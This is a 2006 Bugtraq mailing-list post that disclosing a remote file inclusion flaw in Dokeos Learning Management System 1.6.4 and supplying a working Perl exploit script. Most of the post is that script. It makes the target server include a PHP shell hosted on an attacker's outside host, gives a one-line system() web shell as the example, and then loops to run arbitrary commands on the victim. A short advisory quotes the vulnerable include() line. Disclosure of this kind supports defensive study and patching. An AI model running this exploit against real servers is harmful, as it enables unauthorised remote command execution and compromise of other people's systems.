bugtraq - Dokeos Learning Management System 1.6.4 Remote File Include

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Date: Sun, 7 May 2006 23:52:41 -0500
From: beford <xbefordx@...il.com>
To: bugs@...uritytracker.com, bugtraq@...urityfocus.com
Subject: Dokeos Learning Management System 1.6.4 Remote File Include


#!/usr/bin/perl

############

# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>

#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>

# 		perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while() {

	print "[shell] \$";

	while(<STDIN>)      {

		$cmd=$_;

		chomp($cmd);
		if (!$cmd) {last;}

		$xpl = LWP::UserAgent->new() or die;

		$req = HTTP::Request->new(GET
=>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

		$res = $xpl->request($req);

		$return = $res->content;

		$return =~ tr/[\n]/[ê]/;

		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {

			$finreturn = $1;

			$finreturn=~ tr/[ê]/[\n]/;

			print "\r\n$finreturn\n\r";

			last;

		} else {
			print "[shell] \$";
		}
	}
} last;


sub head()  {

	print "\n============================================================================\r\n";

	print "  Dokeos Learning Management System Remote File Include\r\n";

	print "============================================================================\r\n";

 }


sub usage() {

	head();

	print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

	print " <host> - Full Path : http://host/dokeos/ \r\n";

	print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

	print " <var> - var name used in phpshell : cmd  \r\n\r\n";

	exit();

 }